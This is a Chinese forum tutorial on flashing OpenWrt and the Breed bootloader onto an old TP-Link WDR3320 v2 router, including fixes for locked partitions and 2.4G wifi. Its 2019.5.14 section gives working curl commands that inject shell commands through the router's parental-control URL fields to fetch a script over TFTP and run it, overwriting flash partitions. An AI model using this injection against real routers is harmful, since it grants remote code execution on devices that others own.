本帖最后由 xjx03 于 2019-5-14 11:59 编辑
家里翻出来的老爷机tp-link wdr3320v2,积灰已久,想着堆着浪费,就打算鼓捣一下希望能够再放青春。
几个问题:
- 原厂web直刷官方放的lede-openwrt-generic通用版有luci的web界面,其他功能正常,唯独2.4Gwifi无法识别。
- 刷完官方op通用包其中u-boot和art分区是锁死不可写的,也就是说不能单刷u-boot和art。
- 2.4Gwifi的问题必须通过修改刷入art来解决
- 5GWIFI信号可能不大好
- 刷完官方op通用包以后无法通过web和sysupgrade来正常刷新其他的包,提示文件格式不支持,其实是因为通用版的generic芯片标识和其他专版冲突无法识别造成的
等等以上问题会在接下来的刷写过程中一一说明解决方案。
刷写步骤:
使用的工具在最后打包好了.
1.编译源码,我已经编译好了,大家如果担心我编译的有病毒什么的可以自己编译,源码地址https://git.openwrt.org/openwrt/openwrt.git 。
编译教程网上很多,这里就不写了,只要把git clone 后面的地址换成上面的源码地址就行,最重要的是在编译之前一定要把clone下来的目录中
/openwrt/target/linux/ar71xx/files/drivers/mtd/tplinkpart.c中的mtd_writeable存在的行删除保存,这就解决了上面的第二个问题。
我的编译环境是ubuntu16.04,没报错,一切顺利。
插入一条:不知道原厂固件u-boot有没有锁,你们可以试一试跳过第一二步直接进行第三步的刷入breed试试,不行再回来第一二步。成功的请回帖反馈,减少大家弯路。
2.经过漫长的一个小时的编译,可以在原厂的web界面直接进行编译好的固件升级,我压缩包里面的名字叫做openwrt-ar71xx-tiny-tl-wdr3320-v2-squashfs-factory.bin
需要注意的是,按照网上的简单教程编译出来的固件包都是没有luci的web界面的,我的也一样,不过这就足够了,我们只是要解锁而已。
tips:由于5.13更新了解锁固件里面已经有luci的web且功能正常,这个地方你们可以酌情自己处理,详情请看下方的5.13更新。
3.刷入完毕以后自动重启,只连接电脑和路由器之间的lan口,用putty或者终端ssh以用户root登录默认网关192.168.1.1。windows可以用winscp软件以scp协议登录上传压缩包内的不死breed的固件包到路由器/tmp目录下。linux可以在breed所在文件夹右键打开终端,输入scp breed-ar9344-wdr3320v2-r1163.bin root@192.168.1.1:/tmp/进行上传。切回到之前的putty或者终端cd到/tmp目录,用mtd -r write /tmp/breed-ar9344-wdr3320v2-r1163.bin u-boot进行刷写不死breed固件。成功刷入后你就无敌了,再也不怕变砖。
4.依然确保只有电脑和路由器lan口连接,断电按住reset键再插上电源,持续5s,直到电源等快速闪动后有规律的慢速闪动后松开,电脑浏览器登录192.168.1.1你就能看到breed界面了,在breed里面固件更新里刷入压缩包里官方的lede-17.01.4-ar71xx-generic-tl-wdr3320-v2-squashfs-factory通用版固件,刷入后已经可以正常进入web了,但是还要解决2.4g wifi的事情同样的方法breed刷入压缩包里面的art.bin固件重启后就可以看到2.4G的无线接口了,要是你用我的art不行,可以参照https://www.right.com.cn/forum/fo ... d&tid=257104&page=1解决。第一个问题解决。
5.关于5Gwifi信号差的问题,5G无线高级设置里面频段选5G,带宽40,信道149以上,区域美国即可。
补充:
有些人已经从原厂刷入了官方的op固件包,导致uboot和art被锁,刷其他的包各种效验失败,格式不支持,不能刷入art修复wifi,即上面的第五点.可以按照第三步的流程将解锁的4m编译固件openwrt-ar71xx-tiny-tl-wdr3320-v2-squashfs-factory.bin上传到/tmp目录用sysupgrade -v -F /tmp/openwrt-ar71xx-tiny-tl-wdr3320-v2-squashfs-factory.bin跳过效验进行强制刷写,固件包内的无锁uboot和art会覆盖当前的。之后再按照3-5步进行操作即可。
归档:
固件太大传不了,又怕百度云失效,我传MEGA了,下载可能要爬梯子
https://mega.nz/#!Deo2gayT 下载不了的官方的那个可以去 https://openwrt.org/toh/hwdata/tp-link/tp-link_tl-wdr3320_v2 下载
编译的那个可以自己编译一下。
当然也很欢迎能下载的人补一下百度云什么的。
过期收费内容,请跳过往下看
这个是art和breed
这个就不要帮忙转百度云了,码这么多字很辛苦的,给我一点
2019.5.11更新
art和breed就不收币了
解锁固件你们能自己编译就自己编译,不能的看看我有没有时间过几天去翻一翻硬盘,或者我再去重新搞一个。
2019.5.13更新
编译了整整两天终于编译出来一个比较比较完美的固件,这个固件对应的是上面第二步要刷入的解锁用作跳板的固件,不幸的是这个新编译的固件不仅仅已经有了luci的web界面,而且所有功能正常,界面我觉得比LEDE好看,特别是弹窗提示效果,见仁见智吧,所以已经可以正常使用了,是做跳板还是直接用看你们自己的选择。固件已经解锁u-BOOT和ART分区,刷入后可正常刷入breed和其他固件。ART没有集成,因为编译时间太耗时,怕编译不过浪费时间,刷入breed以后手动刷入art即可修复wifi的异常,还不行的就参照https://www.right.com.cn/forum/fo ... d&tid=257104&page=1解决,固件在最后。
刷入方法:wdr3320官方tplink固件20131115以前的版本可以web直升,以后的版本的(包含)请参照下面的刷入方法解决。这个固件本身是可以正常使用的,稳定性和吞吐量未测试,你既可以直接使用它也可以像是上面说的那样以它为跳板刷入官方的固件或者其他固件,必须提醒的是刷入官方LEDE固件之前务必先刷好breed再从breed里面刷固件,这样可以避免U-BOOT和ART分区被再次锁死写入保护,当然解决方法上面也已经说了,这个固件也可以用来干这个。
放个预览
2019.5.14更新(重要)
收到多位坛友反馈更新官方wdr3320 20131115固件以后的机器web界面校验报验证错误无法web直接刷入openwrt。且官方固件不支持telnet和ssh。一时让我十分为难。还好收到坛友 的启发我去钻研了一下,发现这个老外的思路也算是明确,
原帖是这个https://www.right.com.cn/forum/thread-159078-1-1.html
我简单翻译一下:/*这里到下一个这个符号为止都是翻译内容,你不需要照做,只是给大佬做个参考。步骤在后面
- 你需要这些:
- * 一个 FTP 服务器 (我设置服务器ip 192.168.1.9, 我建议你和我一样以便你知道我在做什么) #其实设置的是利用tftpd32建立的ftp服务器,设置的是电脑固定ip,后面会讲解
- * 一个 unix 或者 mac 含有curl指令的工作站 (也可以是相同功能的机器) #意思就是说普通电脑也可以,我用的是win10自带子系统ubuntu
- *一些平常的unix相关的命令知识. #我当然不会这么残酷让你们去干这个。
- * 一个openwrt镜像.我用的是我自己编译的原版12.09. #他使用的远古版本镜像
- * 一个为mips处理器架构静态编译的二进制busybox文件. #可以自己编译,很快,但没必要,我检别人现成的,感谢@hakee
- 想法‎:
- * 放一个 script 在你的tp-link wr703n #这里我们是wdr3320
- * 放一个好用的 busybox在你的tp-link wr703n #同上
- * 欺骗 wr703n 通过script脚本去执行一些指令.
- 这个script脚本所作的事情内容:
- * 从tftpd 服务器获取第一部分和第二部分的镜像# #指的是分割好以后的i1,i2
- * 刷入第一部分镜像 (大小1024k) 到名叫kernel(内核)的mtd分区 #我已经替换成wdr3320的固件了,第一部分大小还是1024k
- * 刷入剩余的镜像 (大小2819k) 到名叫rootfs的mtd分区 #这里的大小变成2816k
- * 重启已经包含openwrt的路由器.
- === 名为 aa 的script脚本的实际内容 ======
- cd /tmp #进入tmp目录
- tftp -gl i1 192.168.1.9 #tftp从192.168.1.9的服务器下载文件i1到本地(这里是路由器里面)/tmp目录
- tftp -gl i2 192.168.1.9 #同上tftp下载文件i2
- tftp -gl busybox 192.168.1.9 #同上tftp下载文件busybox
- chmod 755 busybox #给busybox文件执行权限
- ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync #以busybox运行dd备份恢复,把i1恢复到路由器的mtdblock1区块
- ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync #以busybox运行dd备份恢复,把i2恢复到路由器的mtdblock2区块
- ./busybox reboot -f #以busybox执行强制重启指令
- echo blaaat
- === 名为 aa 的script脚本的实际内容=======
- 把 openwrt 镜像分成2部分的指令. (Yes these commands):
执行这些指令需要一会时间因为我没兴趣设计一个更合理的大小. #我因为编译新固件,所以这一步已经顺便在ubuntu里面完成了
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576 #这里我已经替换了镜像,所以镜像名字不是这个了,
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576 #总之我都干完了,你就不用操心这一步了
现在在你的tftpd32文件夹里面应该有这四个文件: aa, busybox, i1, i2
- 现在我们来重置路由器,恢复出厂设置(这部分不适用,我会在后面重新补充)
- 在你的工作站上运行以下指令.
- # !!不要断开电源, 它会boom~~~~~ (你需要3.3V的串口去恢复它,也就是我们说的TTL或者编程器).!!
- # 第一步设置一个登录密码, let's do that. (这个密码设置为admin42).
运行指令curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/' (他是在工作站中,我们会在命令提示符里面进行,由于终端不一样,所以在命令提示符里面所有;后面的空格删去,所有单 引号变成双引号)
# 第二步开启家长控制 (或许你会有家庭时光的机会用到这个功能).
运行curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
# 做到这里,我们只需要简单的利用路由器这个漏洞
# 下面是读取操作(windows用户可以省去这一步):
# cd /tmp ; tftp -gl aa 192.168.1.9; sh aa
# 不要关路由器, 它会boom~~~~~ (你需要3.3V的串口去恢复它,也就是我们说的TTL或者编程器).!!
运行指令curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
# 运行完不要关路由器,它会boom~~~~~ (你需要3.3V的串口去恢复它,也就是我们说的TTL或者编程器).!!等待他自己重启。 */
总结就是:家长控制功能有漏洞,我们把要刷入的镜像分成i1,i2两部分,把包含i1,i2,script脚本aa,指令集busybox四个文件的文件夹建一个本地ftpd32服务器,通过漏洞把这几个文件从本地服务器拉取到路由器里面,然后欺骗路由器用busybox的指令集以名为aa的脚本script写的方法执行把i1,i2刷入路由器的行为。
真正的步骤在这里 (东西我已经打包发在后面了)
把电脑IP指定为固定ip:192.168.1.100 子网掩码255.255.255.0 网关192.168.1.1后连接路由器
1.打开文件夹里面的tftpd32,并且维持打开状态
2.路由器恢复出厂设置
3.web登录界面设置密码为admin42 (115版本要输入两遍)
4.打开cmd,输入"cd /d 你解压出来的文件夹路径"后按回车,注意输入内容不包含双引号,cd后面一个空格,/d后面一个空格
5.键入以下命令回车
curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1"
提示符出来后不报error应该没问题,可以web登录tplink控制面板查看家长控制是否启用且赋予了MAC地址,如果是则指令已经完成。
6.键入以下命令回车进行刷写固件
curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6"
正常情况tftpd32会自动开始传输和刷写,耐心等待即可,不要断电切记,不要操作,刷完会自动重启路由器
刷入的是我2019.5.13最新编译的openwrt,我感觉比LEDE那个好用,功能一切正常,可以在线安装中文语言包。你们也可以以此为跳板刷入其他固件和刷入breed,wifi不正常请刷入breed以后自行刷入art或者在openwrt里面刷入无线校准文件也就是art也是一样的
补充2
1.第一次刷的wifi不正常的请务必在刷入以后按照最上面的教程刷入breed以后在breed里面刷入art。
2.固件是英文的,支持软件包在联网的情况下直接安装中文包,方法自己百度
3.刷入后默认wifi都是关闭的需要手动开启,5G的wifi在设置里是可选5G和2.4G模式的,如果你看到两个2.4G不要奇怪。
4.打包好的内容里面分为三个部分:
第一个压缩包20131115以前的方案包含了5.13新编译的解锁固件openwrt-ar71xx-tiny-tl-wdr3320-v2-squashfs-factory.bin和官方的稳定LEDE未解锁固件lede-17.01.4-ar71xx-generic-tl-wdr3320-v2-squashfs-factory.bin以及breed和art和使用说明。刷官方LEDE之前务必先刷入breed。适用于5.13更新前的情况,如果你遇到问题那么你可以尝试下一个解决方案。
第二个压缩包20131115以后的方案包含了5.14更新内容的全套工具和刷入说明,你只需要按部就班即可
第三个压缩包是备份的老版tplink编程器固件,适合想回到原厂固件的人,需要在breed里面刷入。
5.其他的你可能遇到的小问题都可以在我这个帖子的前面找到答案,遇到问题请反复浏览该帖子。
其他的以后想到再补充吧
tips:@@ljm1447669873 你要的方案我给你写出来了。@jinheze58 通知你一下。
全集打包
MEGA2:https://mega.nz/#F!LLgAzKrb!1ZfzbQqAvFHoT7bWMvLEEg
百度云:链接:https://pan.baidu.com/s/17_PT0k122W9KIr_UiWttkA 提取码:5o9v
如无意外,此贴到此就不会再更新了,其他的就靠你们自己去捉摸了。
|